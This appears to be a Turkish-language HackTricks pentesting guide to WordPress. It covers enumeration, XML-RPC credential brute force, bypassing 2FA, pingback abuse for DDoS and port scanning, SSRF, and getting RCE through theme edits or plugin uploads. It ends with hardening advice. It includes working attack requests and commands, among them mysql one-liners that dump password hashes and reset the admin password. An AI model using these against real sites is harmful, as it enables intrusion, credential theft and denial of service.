hacktricks/network-services-pentesting/pentesting-web/wordpress.md

21 KiB
Raw Blame History

Wordpress

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Temel Bilgiler

Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu yüzden temanın php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: twentytwelve temasını kullanarak 404.php dosyasına erişebilirsiniz: /wp-content/themes/twentytwelve/404.php
Başka faydalı bir url şu olabilir: /wp-content/themes/default/404.php

wp-config.php dosyasında veritabanının kök şifresini bulabilirsiniz.

Kontrol edilmesi gereken varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Ana WordPress Dosyaları

  • index.php
  • license.txt WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir.
  • wp-activate.php yeni bir WordPress sitesi kurulurken e-posta etkinleştirme işlemi için kullanılır.
  • Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php, WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak ve XML'in kodlama mekanizması olarak kullanılmasına olanak tanır. Bu tür iletişim, WordPress REST API tarafından değiştirilmiştir.
  • wp-content klasörü eklentilerin ve temaların depolandığı ana dizindir.
  • wp-content/uploads/ Platforma yüklenen dosyaların depolandığı dizindir.
  • wp-includes/ Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir.
  • wp-sitemap.xml Wordpress'in 5.5 ve üstü sürümlerinde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.

Saldırı sonrası işlemler

  • wp-config.php dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.

Kullanıcı İzinleri

  • Yönetici
  • Editör: Kendi ve diğerlerinin gönderilerini yayımlar ve yönetir
  • Yazar: Kendi gönderilerini yayımlar ve yönetir
  • Katılımcı: Gönderilerini yazabilir ve yönetebilir ancak yayımlayamaz
  • Abone: Gönderileri göz atabilir ve profilini düzenleyebilir

Pasif Numaralandırma

WordPress sürümünü alın

/license.txt veya /readme.html dosyalarını bulup bulamadığınızı kontrol edin

Sayfanın kaynak kodu içinde (örnek: https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS bağlantı dosyaları

  • JavaScript dosyaları

Eklentileri Al

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Al

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Genel olarak sürümleri çıkart

{% endcode %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Edinin:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aktif numaralandırma

Eklentiler ve Temalar

Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için bir listeyi aktif olarak Brute Force etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır).

Kullanıcılar

Kimlik Brute

WordPress sitesinden geçerli kullanıcıları Brute Force yöntemiyle kullanıcı kimliklerini zorlayarak elde edersiniz:

curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu demektir ki id geçerlidir. Eğer yanıt 400 ise, o zaman id geçersizdir.

wp-json

Ayrıca kullanıcılar hakkında bilgi almak için sorgulama yapabilirsiniz:

curl http://blog.example.com/wp-json/wp/v2/users

Başka bir /wp-json/ uç noktası, kullanıcılar hakkında bazı bilgileri ortaya çıkarabilir:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. Yalnızca bu özelliğe sahip kullanıcılar hakkında bilgi sağlanacaktır.

Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.

Kullanıcı adı girişi numaralandırması

/wp-login.php'de oturum açarken mesaj, belirtilen kullanıcı adının var olup olmadığına bağlı olarak farklıdır.

XML-RPC

xml-rpc.php etkinse kimlik bilgileri kaba kuvvet saldırısı gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi otomatikleştirebilirsiniz buna örnek olarak şunu kullanabilirsiniz).

Etkin olup olmadığını görmek için /xmlrpc.php'ye erişmeyi deneyin ve bu isteği gönderin:

Kontrol

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Kimlik Bilgileri Kaba Kuvvet

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs gibi yöntemler kimlik bilgilerini kaba kuvvet saldırısı için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

200 kodlu yanıt içindeki "Kullanıcı adı veya şifre yanlış" mesajı, kimlik bilgileri geçerli değilse görünmelidir.

Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ayrıca, system.multicall kullanarak aynı istekte birkaç kimlik doğrulama deneyebileceğiniz için kimlik doğrulama bilgilerini kaba kuvvetle daha hızlı bir şekilde deneyebileceğiniz bir daha hızlı bir yol vardır:

2FA'yı Atlatma

Bu yöntem programlar içindir ve insanlar için değil, eski olduğundan dolayı 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz. Tüm konsol üzerinden yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130sıkladığı gibi hala RCE'ye ulaşabilirsiniz.

DDoS veya port taraması

Eğer listede pingback.ping yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/bağlantı noktasına keyfi bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesinin bir konuma erişmesini istemek için kullanılabilir (bu konumda bir DDoS oluşturulur) veya bunu kullanarak Wordpress'in bazı dahili ağları taranmasını sağlayabilirsiniz (herhangi bir bağlantı noktasını belirtebilirsiniz).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer bir değeri 0'dan büyük (17) olan bir faultCode alırsanız, bu portun açık olduğu anlamına gelir.

Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde system.multicall kullanımına bir göz atın.

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Bu dosya genellikle Wordpress sitesinin kök dizini altında bulunur: /wp-cron.php
Bu dosyaya erişildiğinde a "yoğun" MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından DoS oluşturmak için kullanılabilir.
Ayrıca, varsayılan olarak, wp-cron.php her sayfa yüklemede çağrılır (istemci herhangi bir Wordpress sayfasını istediğinde), yüksek trafikli sitelerde sorunlara neden olabilir (DoS).

Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan).

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.

Bu çalışmadığında alınan yanıt:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Bu araç, methodName: pingback.ping'i kontrol eder ve /wp-json/oembed/1.0/proxy yolunu kontrol eder ve varsa bunları sömürmeye çalışır.

Otomatik Araçlar

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Biraz üzerine yazarak erişim alın

Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede /var/www/html/wp-includes/user.php dosyasının 5389 konumunu çevirerek (!) işlemini devre dışı bırakabilirsiniz.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadan bir php dosyasını değiştirme (yönetici kimlik bilgileri gereklidir)

Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)

İçeriği bir php kabuğu için değiştirin:

Bu güncellenmiş sayfaya nasıl erişebileceğinizi internetten arayın. Bu durumda buraya erişmeniz gerekecek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Kullanabilirsiniz:

use exploit/unix/webapp/wp_admin_shell_upload

Eklenti RCE

PHP eklentisi

Bir eklenti olarak .php dosyaları yüklemek mümkün olabilir.
Örneğin şu şekilde php arka kapınızı oluşturun:

Ardından yeni bir eklenti ekleyin:

Eklentiyi yükleyin ve Şimdi Yükle'ye basın:

Procced'e tıklayın:

Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, yüklenen kabuğunuzu göreceksiniz:

Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz:

Zararlı eklenti yükleme ve etkinleştirme

Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin yüklenmesini ve bir web kabuğu elde etmek için sömürülmesini içerir. Bu işlem WordPress panosu üzerinden aşağıdaki gibi gerçekleştirilir:

  1. Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin buradan.
  2. Eklenti Yükleme:
  • WordPress panosuna gidin, ardından Pano > Eklentiler > Eklenti Yükle'ye gidin.
  • İndirilen eklentinin zip dosyasını yükleyin.
  1. Eklenti Etkinleştirme: Eklenti başarılı bir şekilde yüklendikten sonra, panoda etkinleştirilmelidir.
  2. Sömürü:
  • "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, zayıf olduğu bilindiği için sömürülebilir.
  • Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
  • Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir.

İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.

Daha detaylı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/**

Saldırı Sonrası

Kullanıcı adlarını ve şifreleri çıkarın:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Admin şifresini değiştirin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Koruma

Düzenli Güncellemeler

WordPress'in, eklentilerin ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php dosyasında etkin olduğunu doğrulayın:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, yalnızca güvenilir WordPress eklentileri ve temaları yükleyin.

Güvenlik Eklentileri

Diğer Tavsiyeler

  • Varsayılan admin kullanıcısını kaldırın
  • Güçlü şifreler ve 2FA kullanın
  • Kullanıcı izinlerini periyodik olarak gözden geçirin
  • Kaba kuvvet saldırılarını önlemek için giriş denemesini sınırlayın
  • wp-admin.php dosyasını yeniden adlandırın ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin.


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: